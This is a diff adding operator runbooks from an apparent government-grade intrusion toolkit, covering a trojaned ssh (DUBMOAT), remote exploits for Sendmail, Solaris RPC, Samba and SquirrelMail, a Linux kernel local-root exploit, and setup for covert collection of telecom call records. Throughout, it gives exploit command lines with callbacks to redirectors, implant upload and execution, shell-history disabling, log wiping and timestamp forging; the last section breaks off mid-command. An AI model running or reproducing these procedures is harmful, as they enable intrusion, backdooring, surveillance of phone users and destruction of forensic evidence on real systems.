+#:%s/EXACT_MATCH_TARGS/EXACT_MATCH_TARGS/g + + +### get the date of the current radius log on the radius server +-lt /var/log/radius/ # (find the most current, should be last file in list) +-lt /var/log/radius/ # (file needed is the acct.log file) + + +### run the following from radius server +-gs parse_rads -h # (for -gs parse_rads usage syntax) + +-gs parse_rads ROUTER_IP RANDOM_HIGH /var/log/radius/CURRENT_DATE/acct.log + + +### Will check to make sure the log file exists, check to makes sure the +### "-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp" command was run, and then +### starts a "tail -f" on the logfile to constantly bring the file home, +### this gives you two pastables: a "-tunnel PORT udp" command to run on the +### radius server, and a "parse_rads.pl" one to run in a locally scripted window + + +### run the "-tunnel" (use the one spit out, the one below is an example) on +### the box that will be talking to SNAT +-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp + + +### IN A LOCALLY SCRIPTED WINDOW (pastable given by -gs parse_rads command) +parse_rads.pl -h # for help with pastable options (run locally) + + +### Below is an example command, will need to use the pastable spit out by +### "-gs parse_rads" for the current session, but some things will need to +### be added to the command spit out, i.e. -p/-P args (phone numbers), the +### -R arg (treat already downloaded data as real-time, i.e. set up initial +### rules based on it), the IP address of the proxy, and any other stuff to +### play with +### +### -N -a -i are filled in by -gs parserads. Others need to be added manually + +PORT=LOCAL_TUNNEL_COMMANDS_PORT parse_rads.pl -NRADIUS_IP:NOPEN_PID -a127.0.0.1:RANDOM_HIGH -i/current/down/HOSTNAME.RADIUS_IP/var/log/radius/CURRENT_DATE/acct.log -p PARTIAL_MATCH_TARGS -P EXACT_MATCH_TARGS -R PROXY_IP + +### Will ask for pager numbers, and ask for confirmation that a sufficiently +### up-to-date version of SNAT is being used, go ahead and confirm these + +### Should be able to get other instructions for DRAFTBAGGER UI + + +### when Op is complete, in the DB command window, run the following to close out +### NOTE: ANSWER "no" TO THE PROMPT ASKING WHETHER TO KEEP THE SNAT +### FILTERS ACTIVE +diediedie + +### Ctrl-C your "tail -f" command on RADIUS server, or kill the appropriate pid + +### In a local window, you can use the scripts "closetunnel" and "dotunnel" to +### interact with a -tunnel listening on a port for commands rather than stdin +### (i.e. "-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp") +### "dotunnel" will send all command line args to that port for -tunnel to get +### "closetunnel" has hard-coded "c 1 2 3 4 5 6 7", and then "q"...this will +### get the Nopen prompt back + +# Examples: +dotunnel s +dotunnel l 1390 1.2.3.4 139 +closetunnel + +### CLOSE OUT THE REST OF THE OP AS YOU WOULD NORMALLY + + diff --git a/Linux/doc/old/etc/user.tool.dubmoat.COMMON b/Linux/doc/old/etc/user.tool.dubmoat.COMMON new file mode 100644 index 0000000..32f33b0 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.dubmoat.COMMON @@ -0,0 +1,98 @@ +########################################## +# DUBMOAT +########################################## + +### Verify version on target: +uname -a +which ssh +ssh -V + +### Preserve timestamps: +-ls -i /usr/bin/ssh +-ls -d /usr/bin + +touch -r /usr/bin/ssh /tmp/.st +touch -r /usr/bin /tmp/.sb +-lt + +### Create location (utmp~) for dubmoat logging: +-ls -t /var/run +cp /var/run/utmp /var/run/utmp~ + +### fix permisssions so any user can write to the file: +chmod 666 /var/run/utmp~ + +### Download original ssh: +-get /usr/bin/ssh + +### Upload dubmoat and check the version: +-put /current/up/Ssh ssh +./ssh -V + +### Cat our version over original to preserve inode: +cat /tmp/ssh > /usr/bin/ssh +-ls -i /usr/bin/ssh + +/usr/bin/ssh -V +file /usr/bin/ssh + + +### Fix timestamps: + +touch -r /var/run/utmp /var/run/utmp~ +touch -r /var/run/utmp /var/run + +touch -r /tmp/.st /usr/bin/ssh +touch -r /tmp/.sb /usr/bin + +-ls -i /usr/bin/ssh +-ls -d /usr/bin/. + +### Cleanup: + +-rm .st .sb ssh + + + + + + +############################ +# DUBMOAT COLLECTION +############################ + +-ls /var/adm/utmp* + +-get -l /var/adm/utmp~ + + +### Locally, extract the data from the encrypted file: + +cd /current/down +/current/bin/ExtractData ./utmp > dub.TARGETNAME + +### Verify the contents and take note of the file size field near +### the beginning of the output. Use that size to truncate the file +### in the next step: + +cat dub.TARGETNAME + + +### Upload the tool used to truncate the dubmoat collection file + + +-put /current/bin/TruncateFileRemote dmt +chmod 700 dmt + + +### Using the first "FILE SIZE" field from the output above, +### truncate the most recent collection out of the file +-lt /var/adm/utmp~ +./dmt /var/adm/utmp~ +-lt /var/adm/utmp~ + +-rm dmt + + + + diff --git a/Linux/doc/old/etc/user.tool.earlyshovel.COMMON b/Linux/doc/old/etc/user.tool.earlyshovel.COMMON new file mode 100644 index 0000000..22cbafa --- /dev/null +++ b/Linux/doc/old/etc/user.tool.earlyshovel.COMMON @@ -0,0 +1,193 @@ +######################################################### +# EARLYSHOVEL +######################################################### +### publicly known vulnerability +### remote exploit available for linux RH7 running sendmail +###Supported targets: +### "ASPRH73": ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6 +### "RH70": RedHat 7.0 running Sendmail 8.11.0 +### "RH71": RedHat 7.1 running Sendmail 8.11.2 +### "RH73": RedHat 7.3 running Sendmail 8.11.6 +### requires valid user name ( 7.1 and 7.3) +### may also require valid domain for (7.3) + + + + +mx +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_OS/TARGET_OS/g +:%s/USER_NAME/USER_NAME/g +:%s/DOMAIN/DOMAIN/g +:%s/RANDOM_PORT/RANDOM_PORT/g +`x + + +#banner mail +-scan mail TARGET_IP + +# alternate way to banner + +##on pitch +-tunnel +l 2525 TARGET_IP 25 + +###local scripted +telnet 127.0.0.1 2525 + +## after getting banner +helo DOMAIN + +mail from: user@DOMAIN # use random user name + +### may be getting rejected as spam??? + + + + + +$ ./eash.py -? +usage: +/current/bin/earlyshovel/eash.py [options] +options + --atimeout seconds (default = 30) + Authentication timeout (in seconds) + --cip IPAddress (default = 127.0.0.1) + Callback IP address + --clport port + Local callback port + --cport port + Callback port + --ctimeout seconds (default = 30) + Callback timeout (in seconds) + --domain domainName + Domain name of sender + --exec filename + File to exec on successful upload + -? | --help + Print the usage message + --recipient emailAddress (default = root) + Email recipient + --target target + Target OS + --tip IPAddress (default = 127.0.0.1) + Target IP address + --tmpnam filename + Remote name of the uploaded file (of the form /tmp/fileXXXXXX)(def=filekdBtDF) + --tport port (default = 25) + Target port + --upload filename + File to upload +Supported targets: + "ASPRH73": ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6 + "RH70": RedHat 7.0 running Sendmail 8.11.0 + "RH71": RedHat 7.1 running Sendmail 8.11.2 + "RH72": RedHat 7.2 running Sendmail 8.11.6 + + + +### REDIRECTION +-tunnel +l 2525 TARGET_IP 25 +r RANDOM_PORT + +### LOCAL WINDOW: UPLOADS NOPEN AUTOMATCALLY- as of VERSION 2.4.0 +cd /current/bin/earlyshovel +./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS --domain DOMAIN --exec /current/bin/noclient --upload /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 + + -OR- + +### LOCAL WINDOW:MANUAL UPLOAD of NOPEN +cd /current/bin/earlyshovel + +./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS + +./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS --domain DOMAIN + +### you will get an interactive root shell + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +pwd +w + + +# upload nopen as sendmail +which uudecode uncompress +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd + +# if uudecode/uncompress exists: +# LOCALLY + +cd /current/up +cp /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 sendmail +compress sendmail +uuencode sendmail.Z sendmail.Z > sendmail.Z.uu +gedit sendmail.Z.uu + +# on TARGET in interactive window +uudecode; ls -la +copy/paste gedit contents into this window +umcompress sendmail.Z +ls -l +chmod 700 sendmail +PATH=. sendmail + +# from redirector +-nstun TARGET_IP + +###END of MANUAL UPLOAD + +###CLEANUP +#if nopen is uploaded automatically: +-ls /tmp/filekdBtDF +-rm /tmp/filekdBtDF + + +# look where mail may be logged +grep mail /etc/syslog.conf + +-tail /var/log/maillog + +#remove mail messages from file +grep USER_NAME /var/log/maillog +# do this;if grep will clean everything needed +-gs grepout USER_NAME /var/log/maillog +# if our logs entries are the only entries in file +cat /dev/null > /var/log/maillog +#change timestamp of file +-touch /var/log/? /var/log/maillog + +#delete mail msgs from users mail dir: path may be different +-lt /var/spool/mail/USER_NAME + + +-get /var/spool/mail/USER_NAME + +#locally + +cp /current/down/hostname.IP/var/spool/mail/USER_NAME /current/up/t +cd /current/up/t +#remove email from t +-put /current/up/t t + +#target window +#if it looks good +cat t > /var/spool/mail/USER_NAME +# touch file to a "good" date +touch -t YYMMDDHHMM.ss /var/spool/mail/USER_NAME + + +#does user have a home dir +grep USER_NAME /etc/passwd + +# look for users home dir and list it + +-lt ?/?/USER_NAME + +## look for .procmail or .forward files +cat files if there.... + diff --git a/Linux/doc/old/etc/user.tool.ebbisland.COMMON b/Linux/doc/old/etc/user.tool.ebbisland.COMMON new file mode 100644 index 0000000..5fc5c6f --- /dev/null +++ b/Linux/doc/old/etc/user.tool.ebbisland.COMMON @@ -0,0 +1,161 @@ + +# as of: 2010-07-29 18:01:21 EDT + + +# EBBISLAND +# (Exploit for Solaris 2.6, 2.7, 2.8, 2.9 and 2.10) + +# First ensure that the vulnerable rpc service is running. You must +# be able to reach the target system's TCP port that the designated target RPC +# is listening upon. + +# EBBISLAND USAGE. + +# ebbisland: (-A
) Shellcode address +# +# ebbisland: (-C) /core file overwriter/scrambler. This option throws the attack, but uses pseudo-random +# binary data in place of the actual shellcode, to produce a /core file free of suspicious +# content. This would be used in the case where EBBISLAND failed to successfully exploit the +# target, and the operator wanted to try and "purify" the file left in /core before quitting. +# +# ebbisland: (-c ) Procedure number. Defaults to 0. +# +# ebbisland: (-D) For and extra dummy connection +# +# ebbisland: (-N) Use for non-inetd started services (i.e. rpc.bootparamd) +# +# ebbisland: (-M ) Choose size of data part of packet to send. Default is 1260. This could effect +# the landing zone size. +# +# ebbisland: (-P ) Optional prog to exec, re-using exploit socket. +# +# ebbisland: (-r ) RPC program number +# +# ebbisland: (-s ) +# +# ebbisland: (-V) Provides verbose outputs, where appropriate and desired. +# +# ebbisland: (-X | -F) -X For indirect/xdr_replymsg programs, and -F for others + +# ********************************************************************************************* + + +mx +:%s,SERVICE_TCP_PORT,SERVICE_TCP_PORT,g +:%s,TARGET_RPC_SERVICE,100026,g +:%s,TARGET_IP,TARGET_IP,g +:%s,SPECIFIC_SHELLCODE_ADDRESS,SPECIFIC_SHELLCODE_ADDRESS,g +`x + +# Scanning: + +-scan brpc TARGET_IP + +# Redirector: + +-tunnel +l SERVICE_TCP_PORT TARGET_IP + + +# Exploit: +# ./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908 +./ebbisland -t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X -N -A SPECIFIC_SHELLCODE_ADDRESS + +./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908 + +********************************************************************************** +Exploit will provide ROOT shell access via same tunnel/session (no callback, no listen). + +# EXPLOIT WINDOW + +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +pwd +id +which uudecode uncompress at +cd /tmp +ls -alrt +mkdir /tmp/.scsi +cd /tmp/.scsi +pwd + +ls -lart + +# Usual method of running NOPEN fails with EBBISLAND +# we use an at command to do so. + +# NORMAL LOCATION FOR AT FILES + +ls -lart /var/spool/cron +ls -lart /var/spool/cron/atjobs + +# PRESERVE THE DATE FROM BEFORE THE AT JOB + +touch -r /var/spool/cron/atjobs x + +# LOCALLY + +packrat -l +gedit /current/up/sendmail.Z.uu + + +# EXPLOIT WINDOW + +/usr/bin/uudecode; ls -latr + +# select all/copy gedit contents into Target exploit window, then: +uncompress sendmail.Z +ls -l +chmod 700 sendmail + +# EXPLOIT WINDOW (CREATING AT JOB) + +echo "PATH=. D=-ulrandom11111-55555-2 sendmail" | at now +netstat -an | grep random11111-55555-2 + +# TOUCH THE ATJOBS FILE BACK TO BEFORE TIME + +touch -r x /var/spool/cron/atjobs + +# VERIFY TIMES FROM BEFORE + +ls -lart /var/spool/cron +ls -lart /var/spool/cron/atjobs + + +# FROM REDIRECTOR + +-nstun TARGET_IP:random11111-55555-2 + + +******************************************************************************* + +CLEANING. + +/core +/var/adm/messages + + +* The correct EBBISLAND attack for the remote target architecture must be used, or else the attack will fail. +* Use -C option to clean failures remotely if we never get on. + +# Logging considerations: Quite a few log messages will be generated on the target as each subsequent +# attempt fails, most likely written to the /var/adm/messages file. These could include messages similar to... + +Sep 27 14:37:23 target inetd[146]: [ID 858011 daemon.warning] /platform/SUNW,Ultra-Enterprise-10000/lib/dr_daemon: Illegal Instruction +Sep 27 14:37:24 target dr_daemon[23501]: [ID 629332 daemon.notice] dr_daemon attempting AP interaction +Sep 27 14:37:24 target dr_daemon[23501]: [ID 264428 daemon.error] ld.so.1: dr_daemon: fatal: libap.so: open failed: No such file or directory +Sep 27 14:37:24 target dr_daemon[23501]: [ID 355200 daemon.error] dr_daemon operating in NO AP interaction mode +Sep 27 14:37:24 target dr_daemon[23501]: [ID 309875 daemon.notice] NOTICE: recovered old state file '/tmp/.dr_extra_info' +Sep 27 14:43:10 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped +Sep 27 14:43:11 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped +Sep 27 14:43:13 target last message repeated 1 time +Sep 27 14:43:14 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped +Sep 27 14:43:15 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped +Sep 27 14:43:17 target last message repeated 2 times +Sep 27 14:43:55 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Illegal Instruction - core dumped +Sep 27 14:43:56 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Bus Error - core dumped +Sep 27 14:43:57 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Segmentation Fault - core dumped + diff --git a/Linux/doc/old/etc/user.tool.eggbaron.COMMON b/Linux/doc/old/etc/user.tool.eggbaron.COMMON new file mode 100644 index 0000000..22d162d --- /dev/null +++ b/Linux/doc/old/etc/user.tool.eggbaron.COMMON @@ -0,0 +1,143 @@ +################################### +# EGGBARON +################################### + +### Linux and FreeBSD systems running Samba 2.2.x (pre 2.2.8a) on x86 +architectures. + +### If successful, it has samba start a listener on port 45295 and the exploit +will attempt +### to connect to it to give you root. +### If you're redirecting, you need to set up a tunnel to port 45295 on the +target, +### then connect to it via netcat. +### Note, that if you use the same ports on both tunnel ends, eggbaron may +think that it +### was already successful because of false positives by the tunnel +### Might need to let it give "failed" messages 20-30 times before it works. + +./sambal +samba-2.2.x < remote root +-------------------------- +Usage: ./sambal [-bBcCdfprsStv] [host] + +-b bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and +prior, + 3 = OpenBSD 3.2) +-B bruteforce steps (default = 300) +-c connectback ip address +-C max childs for scan/bruteforce mode (default = 40) +-d bruteforce/scanmode delay in micro seconds (default = 100000) +-f force +-p port to attack (default = 139) +-r return address +-s scan mode (random) +-S scan mode +-t presets (0 for a list) +-v verbose mode + +./sambal -t0 +samba-2.2.x < remote root +-------------------------- +01. samba-2.2.x - Debian 3.0 [0xbffffea2] +02. samba-2.2.x - Gentoo 1.4.x [0xbfffe890] +03. samba-2.2.x - Mandrake 8.x [0xbffff6a0] +04. samba-2.2.x - Mandrake 9.0 [0xbfffe638] +05. samba-2.2.x - Redhat 9.0 [0xbffff7cc] +06. samba-2.2.x - Redhat 8.0 [0xbffff2f0] +07. samba-2.2.x - Redhat 7.x [0xbffff310] +08. samba-2.2.x - Redhat 6.x [0xbffff2f0] +09. samba-2.2.x - Slackware 9.0 [0xbffff574] +10. samba-2.2.x - Slackware 8.x [0xbffff574] +11. samba-2.2.x - SuSE 7.x [0xbffffbe6] +12. samba-2.2.x - SuSE 8.x [0xbffff8f8] +13. samba-2.2.x - FreeBSD 5.0 [0xbfbff374] +14. samba-2.2.x - FreeBSD 4.x [0xbfbff374] +15. samba-2.2.x - NetBSD 1.6 [0xbfbfd5d0] +16. samba-2.2.x - NetBSD 1.5 [0xbfbfd520] +17. samba-2.2.x - OpenBSD 3.2 [0x00159198] +18. samba-2.2.8 - OpenBSD 3.2 (package) [0x001dd258] +19. samba-2.2.7 - OpenBSD 3.2 (package) [0x001d9230] +20. samba-2.2.5 - OpenBSD 3.2 (package) [0x001d6170] +21. Crash (All platforms) [0xbade5dee] + +# EGGBARON may not work the first time using the target number as the -t flag. +# Try bruteforcing it using the -b flag. This usually works, and after very +# few tries. +# If this is taking a long time, try setting the bruteforce step size down +# using -b 100. +# Subsequently, the -t flag will work + + + +./sambal -b 0 TARGET_IP + +####### redirected: + +### via pitch: +-tunnel +l 1139 TARGET_IP 139 +l 4444 TARGET_IP 45295 +r NETCAT_PORT + +### Locally: +./sambal -p 1139 -b 0 127.0.0.1 +./sambal -f -p 1139 -b 0 127.0.0.1 + +# skip to nc section + + +### Thru a windows box: +### 1. Need a 2 second delay (-d 2000000) +### 2. Need three tunnels (exploit, nc to port 45295, and callback to upload +RAT) + +background redirect -tcp -lplisten 4444 -target 10.1.1.3 45295 -bind +WINDOWS_LOCAL +background redirect -tcp -lplisten 1139 -target 10.1.1.3 139 -bind +WINDOWS_LOCAL +background redirect -tcp -implantlisten 25896 -target LOCAL_UNIX 25896 -nodes +40 + + +### Locally: +./sambal -t0 +./sambal -r 0xbffffb00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d +2000000 -p 1139 WIN_LOCAL +./sambal -r 0xbffffd00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d +2000000 -p 1139 WIN_LOCAL + + +### try connecting via netcat after any "session failed" message when +redirecting: +nc PITCH_IP_or_WINDOWS_LOCAL 4444 +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +uname -a +### start a netcat with the right nopen version (don't need to uuencode with +/dev/tcp way) +### nc -l -v -p NETCAT_PORT < sendmail +pwd +mkdir /tmp/.scsi; cd /tmp/.scsi; pwd +ls -l /usr/bin/uudecode +/bin/cat/tmp/.scsi/sendmail +chmod 700 sendmail +PATH=. sendmail +id + +### Cleanup +# look for stray process in netstat (bunch of funky chars followed by /bin/sh +# on port 45295) +# then kill the associated process running it: +netstat -anlp | grep 45295 +ps -ef |grep +kill -9 + + +# Logging depends on OS; usually indicated in smb.conf file or check: +# /var/log/samba/smb.log, /var/log/samba/.log + +### + diff --git a/Linux/doc/old/etc/user.tool.elgingamble.COMMON b/Linux/doc/old/etc/user.tool.elgingamble.COMMON new file mode 100644 index 0000000..4d600ed --- /dev/null +++ b/Linux/doc/old/etc/user.tool.elgingamble.COMMON @@ -0,0 +1,123 @@ +####################################### +# ELGINGAMBLE +####################################### + +### local exploit for the following operating system versions: +### Linux 2.6.13 - 2.6.17.4 and certain distros that contain a backport of the +### vulnerable functionality + +### Local exploit for the public prctl core dump vulnerability in recent Linux kernels. +### It takes advantage of an input validation/logic error in the kernel to create +### a cron script that will spawn a root shell. + +### OPSEC: +### vulnerability: public +### exploit: public + + +### +### CHECK IF TARGET IS VULNERABLE +### + +### check OS (for Linux 2.6.13 - 2.6.17.4) +uname -a + +### make sure crond is running: +ps -ef | grep crond + +### check if you have READ permission on /etc/cron.d (WRITE is part of the vuln.): +-lt /etc/cron.d + +### make sure you have EXECUTE permission on crontab: +which crontab +-lt /usr/bin/crontab + +### check if there is a cron.allow or cron.deny that might hinder your success: +-lt /etc/cron* +-cat /etc/cron.allow +-cat /etc/cron.deny + + +### +### if the above checks pass, you can try running it: +### USAGE: + +# elgingamble: +# -h (optional) Prints a help message +# -d (optional) Used to specify the system cron directory (defaults /etc/cron.d) +# -p (optional) Used to specify the core file prefix (defaults cron.PID) +# -s (optional) Used to specify a shell besides /bin/sh +# -t (optional) Used to specify the exploit timeout (defaults 5 minutes) + +### upload to target: +-put /current/up/elgingamble eg + +### within nopen, run it from within -shell +-shell +./eg + +# You'll see the following messages, you must wait for the cronjob to run: + + # can't set core limit, trying indirect + # crontab installed + # must do crontab -r when finished + # waiting for re-exec, ETA 60-120s + +# after waiting for the cronjob, run the following and start a new noserver +# once you gain root access: + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +PATH=. sendmail + + +### connect to privileged noserver: +-nstun TARGET_IP + + +### CLEANUP: +crontab -l +crontab -r +-lt /etc/cron.d +-rm /etc/cron.d/core.PID +-rm eg sendmail +-lt + + +### LOGS: +-lt /var/log/cron +-tail /var/log/cron + + + + +### +### TROUBLESHOOTING +### + +# Exploit fails with message "kernel not vulnerable". The kernel is not vulnerable +# to exploitation. +# Remedy:None + +# Exploit fails with message "failed: indirect". The exploit tried and failed to +# have cron call it indirectly to bypass resource limitations. This can occur if +# the crontab program is not installed, could not be found, or is restricted through +# the use of cron.allow and cron.deny. +# Remedy:Make sure crontab is installed on the system and useable by the system +# user you use to run the exploit. + +# Exploit fails with message "failed". The exploit was unable to elevate to root. +# This indicates that the cron command was never executed. One possible reason for +# failure is if the coredump created in the system cron directory is too small to +# contain a valid cron command. Other reasons could be that the cron directory +# is not accessible by non-priveleged users, or the cron daemon is not running on the system. +# Remedy:Make sure the cron daemon is running and the user running the exploit +# has read access to the system cron directory. Also check the core file limit. +# + +# Description: Any other failure message. Remedy: Make sure the default exploit parameters, +# such as cron directory and core file prefix, are valid for the target system. +# If not, rerun the exploit and specify the appropriate parameters on the command line. + diff --git a/Linux/doc/old/etc/user.tool.elideskew.COMMON b/Linux/doc/old/etc/user.tool.elideskew.COMMON new file mode 100644 index 0000000..6c09a91 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.elideskew.COMMON @@ -0,0 +1,84 @@ +######################################################### +# ELIDESKEW v1.0.0.1 +######################################################### +### Public known vulnerablity in SquirrelMail versions 1.4.0 - 1.4.7 +### Patched for versions => 1.4.8 +### Tested on CentOS and FreeBSD successfully +### will be apache on target; use approprate tool( if available) to elevate + + +mx +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/RANDOM_PORT/RANDOM_PORT/g +`x + +### scan port 80 to look for squirrel banner ( may report version; needs to +### be version 1.4.0 - 1.4.7 to work) +### need banner to help determine squirrel mail dir +-scan http TARGET_IP + + +### set up redirection +### on redirector +-tunnel +l 80 TARGET_IP + +## get ELIDESKEW usage +## scripted local window +cd /current/bin + +./elideskew.pl + -ch - Check forexploit + -l [file] - File to upload + -r [path] - Upload destination path/filename + -c [String] - Command Line to execute, if you want + to use the file just uploded, then INCLUDE IT. + -u [url] - http://host.com/squirrelMail/ + get from http banner eg. /webapps/sq147 + +## test for exploit vulnerability +## local scripted window +./elideskew.pl -u http://127.0.0.1/webapps/sq147 -ch + +### will report YES ( with OS) or NO +### sample good output +###Checking... + +###Linux webapps.jetson.net 2.6.9-42.ELsmp #1 SMP Sat Aug 12 09:39:11 CDT 2006 +i686 i686 i386 GNU/Linux + +###YES! + +### If vulnerable; proceed; run commands on target to find dir read/writeable by apache + +./elideskew.pl -u http://127.0.0.1/webapps/sq147 -c 'uname -a; w; pwd; ls -al +../data' + + +### note pwd result; /var/www/html/webapps/sq147/src (default dir) is not writeable/executable by apache but ../data is.... + +### Ready to upload and execute NOPEN + +### on REDIRECTOR_IP +-nrtun RANDOM_PORT + + +### local scripted window [[ note: the backticks "`" may or may not be necessary ]] +./elideskew.pl -u http://127.0.0.1/webapps/sq147 -l /current/up/morerats/noserver-3.0.3.6-i686.pc.linux.gnuoldld.redhat-6.0 -r /var/www/html/webapps/sq147/data/nos -c '`D=-cREDIRECTOR_IP:RANDOM_PORT /var/www/html/webapps/sq147/data/nos`' + +### if all goes well you will be apache on target (note: some apache configurations run + as nobody) + +need to elevate; choose appropriate tool + +### cleaning logs + +Logging varies by platform: + +on CentOS - /var/log/httpd/error_log ; CentOS runs SELinux so it also logs when nopen + tries to call back in /var/log/messages. CentOS will not allow nopen to bind + to a port as a server so must use callback mode for nopen + +on FreeBSD - [APACHE_PREFIX]/logs/error_log + diff --git a/Linux/doc/old/etc/user.tool.enemyrun.SAMPLE__RECONFIG_PER_TARGET b/Linux/doc/old/etc/user.tool.enemyrun.SAMPLE__RECONFIG_PER_TARGET new file mode 100644 index 0000000..cc7279e --- /dev/null +++ b/Linux/doc/old/etc/user.tool.enemyrun.SAMPLE__RECONFIG_PER_TARGET @@ -0,0 +1,635 @@ +################## +#### ENEMYRUN #### +################## + +## copy and paste this into the window if you want syntax highlighting: +## it makes scripts a bit easier to read + +:syntax on + + +############## +## ER SETUP ## +############## + +## +## only get an encryption key value, if you don't already have one, ask first +## +#md5sum /current/down/tcpdump.raw + +## +## vi Search/Replace commands: +## projectName - self explanatory, all CAPS +## date field - today's date, used for output files +## hostname.ip - hostname of the box and IP address exactly as displayed in nopen window title bar +## or as seen in /current/down +## cryptkey - encryption key (already have one, or use output from below md5sum command) +## + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOSTNAME.IP/HOSTNAME.IP/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + + +## +## copy the ER directory "er_PROJECTNAME" from the project's /targets//sustained directory +## to /current/down and make sure there are no tarballs in /current/down +## + +mz +cp -r /mnt/zip/er_PROJECTNAME /current/down +cd /current/down/er_PROJECTNAME +uz + +## +## save the encryption key locally in /current/down +## whether you have a new or old key: +## + +echo CRYPTKEY > /current/down/cryptkey.enemyrun.DDMonYY + +## copy key to ER directory if creating a new key + +echo CRYPTKEY > /current/down/er_PROJECTNAME/cryptkey.enemyrun.DDMonYY + + +## +## implant hidden directory for script commnads +## location is implant dependent +## INCISION: +## Solaris - /platform/SUNW,SystemEngine/kernel/drv +## Linux - (hidden independently; should be on plan, or check old opnotes) +## STOICSURGEON: (hidden directory is displayed at beginning of FTSHELL/ish callback) +## no trailing / +## + +mx +:%s:IMPLANT_HIDDEN_DIRECTORY:IMPLANT_HIDDEN_DIRECTORY:g +'x + +## +## prepare files containing numbers to search for: +## if files containing the numbers to search available: +## + +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles +ls -altr + +## +## prep the argfiles: +## make sure the files are ASCII and contain NO EMPTY LINES!! +## make sure the last line does not contain a null character at the end +## (vi the file, add a carriage return to the last line, then delete the empty +## line and save) +## "file" results: +## this will not work: ASCII text, with CRLF line terminators +## this WILL: ASCII text +## + +cat arg* +file arg* +dos2unix arg* +file arg* + +## +## if no data media is provided: +## locally, create a file of numbers to grep for with each number on a separate line +## make sure there are NO EMPTY LINES!!!! +## Format of each type of argument: +## p123456789 - phone number +## s123456789 - IMSI +## e123456789 - IMEI +## c123/456 - Cell/LAC (no leading 0's) +## + +cd /current/down/argfiles +vim /current/down/argfiles/argfile1.txt + +## +## encrypt argfiles / target files +## + +## encrypt the ascii list...first make sure you have the encryption tool: + +which cryptTool.v1.0.Linux2.4.18-14.targetdl + + +## if cryptTool not in PATH, change your PATH or insert full path in command +## to encrypt one at a time...skip to next comment to encrypt all at once: + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +## to encrypt all at the same time: + +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + + +## +## on target look at CDR directories: +## - use the following commands to determine the location of current CDR data storage +## - once you identify the location of the data, you'll use the head/tail commands +## to determine the date ranges being saved +## - these date ranges will be used as settings in the ER configuration file(s) +## + +## +## typical file locations per host: +## + +######################### aromaseal: + + +######################### desertvista: + +-lt /var/archive/output_billing +-vget /var/archive/output_billing/MoveData.sh + + +######################### diamondaxe: + + +########################## editionhaze: +## billing02 10.100.10.140 +ls -latr /d08/saba/CDR/out/MS* | head -10 +ls -latr /d08/saba/CDR/out/MS* | tail -10 +ls -latr /d08/saba/CDR/out/MS* | wc -l + + +########################## liquidsteel: + + +########################## serenecosmos: + +ls -latr /var/opt/archive/tape/*/*_S_*.gz | head -10 +ls -latr /var/opt/archive/tape/*/*_S_*.gz | tail -10 + + +########################## sicklestar: + +## magnum: CURSEHAPPY not working on all SS .usd files :-( +## Try these first, should be all of them in one spot +ls -latr /usd_archive/mc_storage/*usd | head -10 +ls -latr /usd_archive/mc_storage/*usd | tail -10 + +## if none in previous ones... +ls -latr /sys1/var/billing/out_coll/*usd | head -10 +ls -latr /sys1/var/billing/out_coll/*usd | tail -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | head -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10 + +ls -latr /sys1/var/billing/msc_is2 | tail -20 + + +######################### qualitygel: + + +########################## wholeblue: +## tpmw01 10.3.4.55 +## tpmw02 10.3.4.56 + +## verifies isb, khi, and lhr directories: +ls -ld 